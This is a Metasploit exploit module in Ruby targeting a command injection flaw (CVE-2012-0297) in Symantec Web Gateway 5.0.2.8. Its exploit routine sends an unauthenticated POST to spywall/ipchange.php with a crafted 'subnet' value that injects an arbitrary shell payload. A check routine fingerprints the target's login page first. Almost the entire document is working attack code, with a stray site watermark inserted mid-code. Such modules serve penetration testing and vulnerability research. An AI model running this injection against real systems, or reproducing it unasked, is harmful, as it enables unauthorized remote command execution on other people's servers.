require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Symantec Web Gateway's HTTP service due to the insecure usage of the exec() function. This module abuses the spywall/ipchange.php file to execute arbitrary OS commands without authentication. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tenable Network Security', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0297' ], [ 'BID', '53444' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail. jsp ?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ] ], 'Payload' => { 'BadChars' => "\x00\x0d\x0a\x26", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Symantec Web Gateway 5.0.2.8', {}], ], 'Privileged' => false, 'DisclosureDate' => "May 17 2012", 'DefaultTarget' => 0)) end www.2cto.com def check res = send_request_raw({ 'method' => 'GET', 'uri' => '/spywall/login.php' }) if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" post_data = "subnet=" post_data << "\";" + payload.raw + ";#" print_status("#{peer} - Sending Command injection") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}spywall/ipchange.php", 'data' => post_data }) # If the server doesn't return the default redirection, probably # something is wrong if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/ print_error("#{peer} - Probably command not executed, aborting!") return end end end
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